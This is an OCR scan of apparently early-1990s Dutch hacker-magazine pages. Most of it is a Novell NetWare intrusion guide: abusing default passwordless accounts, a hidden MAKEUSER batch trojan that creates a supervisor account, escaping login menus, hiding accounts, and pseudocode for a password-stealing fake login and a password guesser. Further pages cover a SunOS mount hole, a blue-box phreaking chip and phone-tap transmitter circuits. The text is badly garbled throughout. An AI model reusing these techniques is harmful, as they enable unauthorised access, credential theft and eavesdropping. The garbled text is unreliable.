®Guest - how low can you go..de Guest-account mag bijoa niets, meestal allcen in directory sys:\public
kijken en mail sturen of utilities opstarten.
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Deze twee users bebben standaard GEEN password, dus als een systeem pas geinsialicend is, heb je
cen kans (lach niet, ik heb 20 al 2 accounts gekregen). Als je inlogged, kun je ecn asntal parameters
mEcEeven, 0.4.;

@/scTipt = < namm >: je kunt cen loginscript meegeven
@/nologin : je atached aan de server maar logged nog adet in,
& < serverame >/ < username > : je kunt op een anderc server op het net inloggen. Nadat je bem

ingelogged, wordt het system-loginseript afgespecid, dit script zorgt ¢rvoor dat je iastellingen in orde
zijn, en meestal roept het ook cen menutje aan of zo (hoe we dat omzeilen vertel ik je later).

Rechten onder Novell

De nowvell-rechten lijken te zijn gemodelleerd naar unaiv-voorbeeld. Je kunt de file-rechicn met hel
commando FLAG veranderen.
Per directory :
@create: j¢ mag bestanden aanmaken
@read: het recht om directories te lezen
@write: bet recht om in directones te schrijven
@open: jt mag een file 1 openen
@secarch: recht om een directory {2 doorzocken met bov, dir
@parentak je kunt rechten aan een andere gebruiker verlenen (zie: GRANT)
#dciete: ;¢ mag bestanden delelen

@ maodify: je mag filenames ea attributes veranderen
Per file (buiten de DOSfileattributes system, hidden ea read-only):

®index : systeem-indexfile (niet interessant) @MERK = sharable : file is door meendere users
tegelijk te gebruiken @MERK = execute only: dit File mag je alleen witvoeren, ¢n nict lezen,

Volumes

Een volume is e¢n manier om een schijf in te delen (zo0iets als een directory). Meestal wordt deze
mogelijkheid niet gebruikt. Standaard bestaat er alleen volume "sys:". Laat je maar niet intimideren:
"Fsys:\login® is hetzelfde als [\ login.

Directories & Trustees

De directory-structuur van novell is gelijk aan die vap DOS. De volgende directories zijn op novell
standaard al aanwezig :

&5ystem: in deze dir staan de files die alleen de supervisor nodig heeft plus de bi -files net$bind.sye
en net$bvalsys. [n deze files staan alie usernames, (gecrypie) passwords, cic. etc. opgeslagen. Alleco
supervisor-equnvalents hebben hier toegang.

®public: kier stazn alle systeem-files 0.8 het system-Joginscript (io netflog.dat). Jedereen heelt hier
leesrecht, bijna niemand schrijfrecht.

®mail: hier heeflt iedere user een eigen mail-directory, dir *1% is de directory van de supervisor. Normasl
heb je hier wel schrijf, maar geen [eesrechien.

®logn: in deze directory kom je lerecht als je nog niet bent ingelogped. Geen schrjfrechten, wel
leesrechten.

Het is voor een systeembeheender mogelijk om iemand rechten toc te kennen in een directory, waar
hij eigentijk geen toegang 10e heeft. Hij maakt hem dan tot trustee voor die directory, en verieent hem

vervolgens de verlangde rechten, of pakt ze af.
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Groups

Om het de supervisor makkelijker te maken bij het beheer, bestaat er voor hem de mogelijkheid am
users onder te brengen in groups. Een user kan deel vit maken van meerdere groops. Als eco systecm-
behecrderb v, m;rmq}'syﬁum aanmaakt, ea die group write-rechten in [\system verleent, dao heeft
dus icdere user die in group "systecm® zit, die rechien. Dit kan heel eng handig zijn, als je bv. een trojan
hotse hebt aangemaakt die gebruik maskt van de makeuser-utility (zc verderop in dit artikel).

Een paar menu-utilities

Binnen Novell kun je de meeste systcem-taken ook menugestuurd afhandelen. Enkele voorbeeldjes:
@uysC0n: uSers &0 groups aanmakes, en onderhiouden, security checken, elc.
®filer: bestands-opdrachten afhandelen, bestands- en directory-attributen veranderen.

®pcoasole, prinkeon, printdef: prnntercoatrole programmas
®makeuser: grote groepen users in een keer aanmaken
Binnecn menus geldt: insert-1oets = toevoegen, delete-toets = wissen. Als je twijfels bebt: F1 = help.

Novell Security Features

Binnen Noveil i redelijk wat aandacht aan beveiliging besteed. Enkele features waar je misschien
mec te maken kripgt, zijo :

OPAUDIT : Met dit programmatje kan de supervisor precies zien wanneer jc bent in- en wiigelogged,
cn wal j¢ loen ongeveer gedaan hebt. Het is echter zo witgebreid, dat bijna nicmand het gebruikl.

®SECURITY : Door dit programmatje I runncn, kan ecn supervisor (of een hacker met supervisor-
privilcges) de beveiligingsgaten in 2ijn systeem bekijken, hij zict dan o.a. wic er teveel privileges heeft,
of iemand zijn usemame als password pebruikt, ¢ic ede. De meeste supervisors weten volgens mij niet
eens dat div programma bestaat, ze gebruiken het in jeder geval weinig.

@INTRUDER DETECTION : Alsdeze optie aanstaat, word! cen account na eenx-aanial inlogpogingen
met bet verkeerde password afgesioten. Alleen de super- visor kan deze situatie weer hezstellen. {Of
je moet bij de Bleserver kunnen komen: toets dan "enable login').

Verder kan binnen Novell ook ingesteld worden, dat een account allcen maar binnen ecn bepaalde
tijdsperiode gebruikt mag worden, bv. van 08.00 1ot 18.00 uur.

MAKEUSER aanroepen via batchfile

Met de utillity makeoser kan een supervisor in een keer grote hoeveelheden in een keer sanmaken,
doordat hij de data al hecft opgestagen in een ascii-file met de extentie " USR'. Soms hecft de supervisor
het 20 druk, dat we hem maar eens een handje helpen. Maak ecn .usr-file asn mel ongeveer de volgende
inhoud :

#REM sample makeuserfile
#BEOME_DIRECTORY sys:system
#CREATE Hck; BHacker; GnaGna; EyTten: sTst h?L
| | Alle rechten
| | {__ in reot-directory
| zit in group System
password
volledige naam
Username
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Noem de file voor het gemak maar test usr. Vervolgens creeet je een batchfile (bv test.bat) met dexe

inhoud ;
makeusar test > nual

if axist test.rpt del test.rpt
if exist test.usr del test.usr

Ze1 ou in cen af bestaand batchifile, waarvan je weet of vermoed, dat de super- visor of ook gebruik
van maakt (bijvoorbeeld in WP.BAT een verwijzing naar deze batchfile stoppen).

Je kunt het geheel nog wat netter maken door paden toc (¢ voegen. Als nu &2a pormale user wp wil
gebruiken merkt bij niets, behalve dat wp een beetje trager opstart, Alle meldingen van makeuser worden
n}. geredirect paar device nul... Als de supervisor echier bet batchfile opstart, dan heelt bet systeem er
ipeens een niewwe gebruiker bij,

inloggen met fake script
Hoe kom ik van die vervelends meoutjes af 7
Er schijnen systeembeheerders te zijn van het slag mainframe-maffia, dic bun gebruikers perse NIET
in bet OS willen laten knoeien. Zodra je als gebrujker inlogged, kom je in eco menutje terecht, ¢a zodra
je daar uit probeert te komen, wordt je automatisch vitgelogged. Enkele oplossingen
®Druksnel op ¢irl-¢, vaak kun je hiermee het batchfile dat uitgevoerd wordt door het menuw onderbreken,
envoila: cen DOS-prompt! Het beste kun je hiermee even wachten tot bet wat drukker op het systeem
i5, dan duurt het batch-file dat jou uitlogged namelijk wat langer, en beb je langer de tijd om het script
af te breken.

®Bij de meeste standaard software paketten is het mogelijk om nasr DOS e shelien. Bv: Wordperfen
: etd-F1, ea ja hoor daar knippert de DOS-prompt alweer | De meeste OOBOL programma's zign
trouwens berucht om het feit, dat zz crashen als je een control-break geefi (U'is maar dat je het weet).
®Slimste oplossing : maak een login-script aan op een lokale schijf; heb je die niet bebt dan in je
mail-directory, en doe dan een login /acript=xxx,
waartij s de naam van het script(ile is. In bet scriptfile steat bijvoorbeeld alleen maar : Write "Hallo
baasje”. Log in zoals altijd, en rara wie staat daar nu te knipperea ?

Short Guide

De nowell-schil is grotendeels transparant, dwz je koot de gewone DOS- commandos gebruiken om
van directory te wisselen en 20, Er komen echiter cok Nowvell-specificke commando's bij, by:

®grant: geel cen andere gebruiker rechien binnen een directory bv © grani all to everyone (verieen
iedereen alle rechten aan iedercen binnen de huidige directory)

®adic geef cen listing van een directory, inclussef rechten elc.
®nver: laal de versie van novell zien waar je op 211
®rights: welke rechten heb ik in huidige directory
®uscrlist: laat zien wie er nu ingelogged zijn
®whoami: wie ben ik, en wear zit ik ingelogged whoami /r : welke cifecticeve rechten heb ik
en nog meer. Wil je info over e¢n bepaald commando, tik dan het commande in, gevalgd door "/,

The Invisible Man
Als je cenmaal supervisor-privs hebl op een systeem, en je wilt niet constaant de hete adem vap de
super in je nek voelen, doe dan eens het volgende :
®maak ecn exira user aan (via syscon of makeuser)
®geef hem jouw privs
®log nu in als die user
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Pstart syscon op
®delete nu jezell

Fn tjatjazaa : je koot officies! niet mees voor op ket systeem ! Kijk voor de grap maar cens met
userlist. Klein nadezltje: als de supervisor met bov. session wil kijken wie er op het netwerk zitten, krijgt
hij zo links en rechts een stoot foutmeldinger om z'n oren. Maar ja, had ie je maar wat hogere privs
moeten geven, toch 7

Bug in SESSION

Session is een menugestuurde utility waarmee je systeeminfo kunt opvragen. Een van de op te vragen
opties is Userinfo. Hicrmee krijg je een scroilmenu met de op het sysicem ingelogde users, €n bel leuke
iz, dat als je op een usernamée gaat staao, en deze aanklikt met return, je die vser een boodschap kunt
sturen. Je krijgt dan jouw user-10) te zien en kunt daarachier een boodschap intikken.

In versie 2.15 van novell zit echter ¢en kiein "bagje” met de backspace-toets kun je je uscr-1D
veranderen. Leuk om etters te stressen. Je krijgt dan boodschappen als: °[7] Supervisor: Onmiddellifk in
mijn kantoor komen 1! *, ctc. ctc, Welke systeemprogrammeur de "bug’ er ook in heeft gezet, de baas was
er niet blij mee: hij is er in latere versies vitgchaald.

Login imitaties
In bijna icdere 1aal is het mogelijk om cen login-imilatie te schrijven dic cen ingegeven password voor
e wegschnijfl, In pseudo-code :
aap standaard login-screen na
vIaag OR USernane
pak username
vrazag om password
pak password
schrijf passvord weq [bv naar cil\dos\xx23.sys of z0)
print *invalid username” of iets dergelijks
roep de "echte’ login aan
(cventueel) wis jezelf
Zet bovenstaand programmatje in een directory dat vooraan in ket PATH- statement siaat van het
locale werkstation, of necm het op in een batchfile die wordt aaageroepen als men wil inloggen, affijn je
snapl hem wel.

Password-Guessers etc.

Om applicatic-programmeurs (en hackers) van dienst te zijn, heeft Novell een AF] (application
program interface) library ter beschikking gesteld voor de taal "C. Dit betekent dat je gebruik kunt
maken van de system-hooks van Novell, je kunt bv. info uit de bindery opvragen, jezell inloggen (mits je
het juiste password weet!), etc etc. Met deze library is het ook niet 2o moeilijk om cen passwornd-guesscr
te schrijven, echter deze werkt alleen als intruder-detection ULT staat, anders wordt de account na een
n-aanial pn?‘ngtn gelocked. In pseudo code :
pak een login-naam
open een bestand met -tig woorden
doe zolang nog niet sinde bestand :

pak sen woord uit het bestand
probesr mat dit woord als password in te leggen
indien gelukt 1

schrijf het wooxd weg in aean ander file

pak een andere login-naamn

ga terug naar begin vd lus
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Op een systeem zonder intruder-detection werkt dit vit de kunst. Trouwens: de API-novell library
for "C* is geen sharcware, en kost plm. f700,-, maar op sommige universiteiten wil er nog wel eens iets
rondslingeren.

Wat kan er aan hangen?

Zit je eenmaal op een novell-netwerk, dan koo je met SLIST kijken wat er nog meer op het netwerk
hangt. En dat kan 2cer de moeite waard zijn, nangezien Novell o.a. UNIX ea VMS ondersteond. Het
grappige is, dat je SLIST vaak al kuat opstarten, als je nog nict eens bent ingelogged: bij de meeste
systemen staat bt nl. in de login-directory. Om op ¢ca andere server in te loggen, tk jo : login
\servermame.

Ook wel leuk
Een tijdje geleden kwam ik op een utopies BBS bet volgende bencht tegea:

Maasaga §246 "Back 'n Phreak™ (Read: 1B)
Datet 7 Hay 91 11:00:00

Een tameliik flauwe maar doeltreffende methode om passwords op een MS-
DOS PC te sparent

get na het invoeren van het password, dus als een van de eerste regels
in de AUTOEXEC.BAT voor een powar-on password of na LOGIN.COM voor aen
Wovell password de regel:

DEBUG WJ >PWF. (Uiteraard voorafgegaan door ECHCO OFF)

Bet filetje PWY bevat: "D 40:1E 3IE <cr>Q<cr>*Z" (zonder de quotes).
Bat vraagt debug om de inhoud vaun de toetsenbord-buffer te lezen. Het
ingetikte password is daar achtergeblaven. De toatsanbordbuffers worden
{in HEX en ASCIT) opgeslagen in FWF. Je kan e.e.a. nog wat verfijonen
met paden etc. Om het wat minder op te laten wvallen kan je in plaats
van PWF een weinig gebruikt programms in de DO8 of SYSTEEM directory
nemen. (FDISK of 2o) De passwords worden er dan achteraan geplakt.
Succes ermeel)

Smaiig
Bovenstaande methode werkt niet altijd, maar proberen is natourlijk altijd de mocite wasrd.
Veel plezier met Novell,
Fuck the suits,

The Dude

Naschrift redaktie: Wij hebben begrepen dat de heer Dude dit artikel heeft geschreven
vigk na Zijn traumatische bezoek aan de efficiency-beurs, derhalve hebben we besloten
zZijn slotzin (die toch voor een grote groep mensen zeer beledigend moet zijn) voor één
keertje door de vingers te Zien.
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Mount onder SunOS 4.0.3, 4.1 en 4.1.1

Levensverhaal van een UNIX-bug

SUN Microsystems maakt cen hele serie krachtige workstations waarop vaak een
eigen versic van UNIX als operating system draait, SunOS. SUNs worden veel
gebruikt op unmversiteiten, overheidsinstellingen, nocm maar op. Veel van deze
machines zjn gekoppeld aan bhet Internet. Dit netwerk verbindl tienduizenden
computers over de hele wereld.

In bovengenoemde versies van UNIX at een foutje. Het komt er op neer dat
icdereen die de bevoegdbeden van de systeembeheerder op 1 systeem heeft, deze
bevoegdheden ook kan krijgen op elke andere machine op het netwerk mits er meer
dan dan 256 tekens in de /etc/exports file staan. fetc/exports is de file waarin SunOS
bijhoudt welke systemen de disks van dit systeexn mogem "mounten’. "'mount’ is het
UNIX commando om een disk een plaats in het file-system van een machine te geven.
Als je root (systeembeheerder) bent op een SUN-systeem ergens in het netwerk kun
je via het netwerk een disk van een ander systcem opnemen in je eigen filesystem
zodat je er zelf alle rechten over bebt.

Logisch dat het OS b1y wal houden wie dat soort bevoegdheden heeft over de disks
die aan het systeem hangen, want als iemand op afstand jouw disks in het eigen
file-system kan opnemen kunnen ze er alles mee doen (nicuwe users aanmaken met
root-bevoegdheid bijvoorbeeld).

Wat 15 nou de bug? Als er meer dan 256 tekens in de fetc/exports file staan dan
flipt bet OS uit en kun je vanaf elk systccm aan het netwerk de disks van die SUN
wounten. (Mount is alleen uitvoerbaar voor root, dus je moet wel een systeem op
root-niveau hacken, daarover misschien later meer).

Als je ets als dit ontdekt, zoals cen aantal vricnden en ik twee jaar geleden deden,
dan kou je dat natuurlijk ecn beetje woor je. We hebben er in de afgelopen jaren
honderden systemen mee gehacked en dus een hoop lol van gehad. Maar zoals alle
goede dingen duurde ook dit nict eeuwig,.....

Er 1s altijd wel een slimme programmeur die door heeft wat er gebeurt er die een
berichtje stunrt aan cert@cert.sei.cmu.edu. Sinds de Internet-worm van 1988 is er
cen instantie, het Computer Emergency Response Team, die zich toelegt op het
waarschuwen van systeembeheerders voor dit soort geintjes. Op 15 juli 1991 stuurden
zij het benicht dat op de volgende pagina staat naar de systeembebeerders op het
Intcranct. Hel is maar goed dat veel systeembeheerders bet niet lazen.

RGB Productions
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CERT Warnlng

o i i v o i i o ek il Bowl i il i wem———
Ch-91:09 CERT .I.:h:i.nrf

July 15, 1951
Patch for EonOE fusr/feto/rpe.msuntd

e e e Er - o - - -

The Computer Esscgency Responss TeadSCoordinstion Center [(CENESCC) bhas
received iaformation concerning the availability of s seourity patob for
Ffosrfeto/rpo.mountd in Son Microsystars, Ino. operating systess. Thie
problem will ba fixed in Sunts 5.0. Fatches ars available For Banpdd 4.1,
and #omlE ¥.1.1 throogh yoor looal Bun anawary canters worldwide as wall as
through amomymoons ftp to ftp.us.pet (in "Etp/sun-diet). Patoh ID and file
informiticn axe as follows:

Fix Pateh 1D Filename Cheokemm
Fusx et SIpe . mocetd 100296=0L 100296 -0L. AT .5 o180t 233

Flsace note that Son Hiorosystems somstimes updstes patoh files. 1If
you find that the checksme ia different plesss contact San Microsystems
or us for werification.

- L . .

I. DESCRIET LOE:

If an acceass list of hoste within feto/sxwports ia m skring
over 138 charactsrs then the filseystem cen be mounted by
e Y il

IT. THPARCT:
Upapthorized remote hosts will be able to mount the filssystenm.
III. SOLATTION:
A8 oot
1. HMowe the axisting rpe.mountd aoide
1 = fasc/leto/cpo.soantd Josrfets/rpo . .mountd QLD

2. Install thé pew weroion
i cp sun{3d, 3x,4,da)/{1.1,4.1.1,4.1_FSA_A)/rpc.momntd Sfusrfeto
1 cbown root.ataff fuscfebs/rpo.sountd
i chood 755 Sfusx/feto/ripo.mountd

3. FEall the ocurrestly romning epo.sourtd and restart it, or,
reboot the aystem. Eyobems curpeotly moucting ELleaystems
fron this host will have ioterruptiomss in servicos sitber
way.-

If you believe that your systsm has been compromised, comtact CERTSCC wia
telephone or e-mail.
Commpoter Smergency Response Teawm!Coopdinetlicn Center [CERT/GE]
Eoftwars Enginssring I[netitute
Carnegie Heollon Dnivecaity
Fittoborgh, PA 1F213-3800
Intecnet E-mail: cectlcert.sei.cmu.sdu
Toelephone: 412-268-70%0 Z4=hoor Rotlins:
CERT/COC parsonoe] anewer 7:304.0.-6:00p.m. EBT,
on wall for emergenciess doring other hours.

Fact adviscries and other ceaputer security related infornmation are availeble
tor anonyeoun £tp from the cert.aei.com.edo [L22.890.209.5) aystem.
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The Demon Dialer

Hack-Tic Technologies brengt nu e£0 nicuwe
chip die, mits aangesioten op etn hoopje analoge
onderdelen, cen complete Blue-Box in zich heefl.
Verder is deze chip een XTMF-dialer, een C4
toongever, een ATF1 tooncode generator en nog
veel meer. Alle phone-phreak kennis van dit mo-
ment is ingebowwd in het apparaat, en doordat de
chip een hoeveelbeid RAM-geheugen heeft kun-
nen z2lfs nieuwe signaleringscystemen wonden
ingebouwd. [t is het ideale gereedschap voor de
phone-phreak van vendaagt

Hicronder een compleet lipstpe met moge-
lijkheden van de MCSSHCNSCBP/DD, zoais de
officicle benaming luidt. Verder cenverkort over-
zicht vamr wat cf bij komt kijken om er cen doosje
ombesn t¢ bouwen.

De MC68HC705C8P/DD

Het is een Motorola processor van het type
68N die door ons is geprogrammeerd. Er is al-
leen nog een matrix-toetsenbord van 3 bij 4 toet-
stm MEl e&n paar wecrstanden en eca IVA con-
verter mel een filter nodig. Aansfuiten op 5 Volt
&n voila, je hebt het perfecte stukje gereedschap
voor de Phone-Plueak.

Als je de chip aanzet is hel cen D'TMF-dialer,
en als je niet de juiste code intikt blijit hel dat ook,
Pas als de code (die per chip anders is) is inpetikt
kun je overschakelen naar de andere mogeljk-
heden:

®DTMF, RedBox, C3, C4, (5, R1, R2 (beide
richtingen)en ATF1 modes ingebouwd, Verder
kunnen 2 nieuwe systemen in het RAM van de
chip gezet worden.

®(ivard Handing: Elke toon of dubbektoon kan
met een derde frequentie wonden gecombi-
neend.

®eavanceerde Macro mogelijkheden, Macro-
nesting is mogeliji.

®Alle instellingen blijven bewaard in RAM als
het apparaat uit stast

®Voor DTMF, C5 en O3 zijn zowel space als
mark timing instelbaar.

@3 heeft programmecrbare space en mark fre-
quentie ca s dus bruikbaar als algemeen pulse-
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signalling systeem. Verder is via ecn relais-con-
trote agnasl pulse-dialling mogehijk.

®Lliser-Defined-Modes kmnnen gebruik maken
van variabele timings en frequenties.

®Tonc-sweep en de mogelijkheid om een start-
frequentie e stap-grootte in te tikken Ook
conlinu-sweep in ic stellen.

®lekefoonnummerscan met wvariabele stap-
grooite in alle systemen.

Het Bouwen

De MCoSBHCTSCR/DD is het hart van de
zelfbouw-bluebox, maar een aanotal elemenien zul
Jenog zelf mocten bovwen. Je zult z¢if een matro-
toetsenbord moeten bevestigen en ook ccn een-
voudige D/A cooverter en eer speaker. De totzle
toc te vocgen hardware zou ndet meer dan 50
gulden moeten kosten. Op de volgende bladrijde
staat het schema, en bijde chip zit een vitgebreide
sel datasheets (hardware beschrijving) en cen
softwarc-manual, afles in Nederlands en Engels.
In de bandware-beschripving veel meer aandacht
voor DYA convertor, filter, 1oetsenbord eic. dan
in dit beknopte artikel. Verder schema’s om het
apparaat op 3 Vit te laten lopen en om een 8 ohm
speaker aan e sturen.

Hoe krijg je de chip?

Deze chip kost 250 guiden, inclusief de ver-
zendkosten, een Nederlandstalige en Engelstalige
handleiding van de software en een uvitvoerige
bouwbeschrijving van de hardware. Betalen doe
j¢ pas aan de postbode, we versturen 2¢ onder
rembours. Wil je meer informatie. of wil je bestel-
len dan kun je belken met D20-600T480.

Onder de mensen dic op de HCC-beurs abon-
nee worden van Hack-Tic verioten we twee maal
een grates Demon-Dialer-chip of levensabonine.-
ment op Hack-Tic. Prijswinnaars in de volgende
Tie.
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Hack-Tic op
HCC Dagen *91

Hack-Tic Is op de HCC-Dagen
1991 aanwezig. Hier kun je je op
Hack-Tic abonneren tegen de
speciale beursprijs van 35,- (nor-
maal 40,-). Verder kun je oude
nummers van Hack-Tic kopen,
zijn er buttons, petjes en stickers
en er is een demonstratie van een
werkende semafoonontvanger.
Verder kun je net als vorig jaar de
Hack-Tic duo-kostenteller kopen.
Met deze teller kun je twee
(series) telefoons op 1 ljn han-
gen, de kosten worden dan apart
bligehounden. Deze teller kost
f75,-. De opbrengst van dit alles
komt ten goede aan Hack-Tic.
Heb je problemen bij het bouwen
van de projecten in deze Hack-
Tic of kun je de onderdelen ner-
gens vinden, kom dan zeker naar
onze stand op de HCC-Dagen.
Ock de MC88HC705DD (zZie
pagina’s 44 en 45) is op onze
stand te koop.

De HCC-Dagen zijn 22 en 23 No-
vember van 10.00 10t 17.00 uwr in
de Jaarbeurs in Utrecht {viak
naast het station). Met de neven-
gtaande reductiocoupon krifg je
f2,50 korting op de toegangsprijs
{normaal £10.00). See you there!
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Zendertjes van Billsf

Als je Jeze zenders bouwt djn er een aantal
dingen om op Le ketten. De spoel (en trovwens het
hele hoogfrequentgedesite) is voor beide zenders
helzetide. Het frequenticbereik voor beide zen-
ders is van 80 - 130 Mz Dit betekent dat je
(onder andere) op de omroepband (87-108 MHz)
kunt zenden.

D spoel is 6 4 winding met draad van ] mm
dik, de binnendiameter van de spoel is 3 mm. Als
je dunner draad gebruikt moel je er voor zorgen
dat de spocl een lengte heeft van 7 mm. De spoel
kun je bijvoorbeckd wikkelen om cen boortje van
3mm dik. Als je deze zender op andere [requen-
ties wilt gebruiken is de regel: twvee keer zoveel
windingen betekent dat de frequentie gehalveerd
wordt.
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Pigce of wire

rR3
T3k
al 123
et Rlc. BCS4TH
-‘F“ BC5578, BC5478
OuF 1=CI2-BI3=E
rR2
. Th
BFz2a1
1=0(, 2= E. 3=B
groot door de antenne om de te beluisteren tele-
De microfoonzender foonlijn te wikkelen en deze dus als astenne i

Het vermogen van deze zender is bij een volle
batierij ongeveer 20 milliWatt (bereik in de stad
200 meter) bij een optimale antenne van 69 cen-
rnmetcr. Het ontwerp beval cen voorversterker en
is redelijk gevoelig. Bij een hogere batterijspan-
ning is het vitgangsvermogen cok hoger. Meer
dan 18 Vol (bereik 1 kilometer !) is voor de
transistoren e¢n tikje riskant. Op 1 negea Volt
battetijtic zou dit geheel het 3 dagen moeten nit-
houden, met ecn lithium 9 Volt batterij mag je op
het dubbele rekenen.

De Telefoonzender

Dit catwerp betreki zijn voeding uit de tele-
foonlijn. De twee LEDs moeten groen of geel zijn
{rode .LED= hebben cen klenere spanningsval).
De LEDs dienen om de zender 1e voorzicn van
een stabiele ingangsspanning. ze zullca maar bit-
ter weinig licht geven. Dat ontwerp produceernt 3
milliWatt {100 meter) maar hel bereik wordt ver-

gebruiken. Je kant ook drie i.pv. twee LEDs in
senc hangen, maar dan steel’ j¢ meer stroom van
de PTT en is ex een grotere kans dat bet geheel
imdoed heeft op de geluidskwaliteit van de te
beluisteren verbinding,

Ethiek

Al hebben deze zenders cen uiterst klein ver-
mogen: het is illegaal om ze te gebruiken. Hoe je
dit met je geweten oplost moet je zelfweten. Deze
zenders zijn door hun instabiliteil en het feit dat
ze in ccn makkelijk meeluisterbare frequentie-
band zenden meer specigoed dan werkehijk spion-
nentwig. Dal is ook precies de bedoeling. Speel er
mee maar respecteer de privacy van anderen!

P.S.

Als je de telefoonzender op je eigen lijn be-
vestigd maakt dit de kans dat je door de BVD
wordl afgeluisterd behoorlifk kleiner: hoeveel
mensen hebbea er now twee taps op hua lijn?

Piscer of wire
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Bizarre ziekte dringt
door tot zijn hersenen!

ZIEKE COMPUTER hemchi
birmrre virus ower op Bert
Wirndaling.

Bert Yredeling heeft veel gemesn met zijn home compuier: Beide denken
logksch, beide dijn dol op cljfers en beide zijn door een virns besmet —
hetzelfde virms!

Door Ron Sterrenburg proccg kende,” gefl de man ioe

ool hiermee cens. “Sollware progranemes van

Vredeling ahl Rotiordem i& & v overtakpd dat | bemand die jo nict kent. AlG je dal doot, j je

hij da E-.um waarin hij verkeer io fﬂ.ﬂ et federeen waar hij of ij oot de lekeas mee
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bt slnchadler 14 fel damrmee s prOpraTne van iwmand eeal, s dos in
"Ik heb iedere mogelifh tem pedesn om |vorbinding met jederven dic det progmmme

achier de oorraak wen Kipn cickic b bomon,” dadrvond if bt hoell pehad .

aldun [r. Maasiand, “Hij it besmel door een e conchase van Dy, Masabend B, dal de

wirws, mad Bel i3 or con die ik nog miel corder | FYTROMES Yan Wredeliog lderdrek sipn aan oon

ek pevien,” wﬁdhh:!um:uﬂm vﬂopmm
Veodeling werklssrde det miph  compuder, | my bepm i g

i Tt ::n woek voor hij mebl sek wend, !I'lll-tﬂthJ 15 ::.:mw- u_p:llm_ m-ﬁ ::,,

v i
e e e a1 T': I-tl'ﬂil.: n;r“ el eem I-:g:i wien i hérieden

. i Ol ophsorpen ki 6E &
ol prOgramETa wpe gl weranderen. el waond shodids Sipor.

Gakh i veTTIeEgon el virus oy heeen wel eems helemanl op

=k was eon bewlje shadag als hel poerk wam | r
op bl bonen van sollwans programee’s ven [kupmen sten, ol i peheugen wollodg s

anderes, met name van mensen die ik niet good | Pewisl,” sldes de aris
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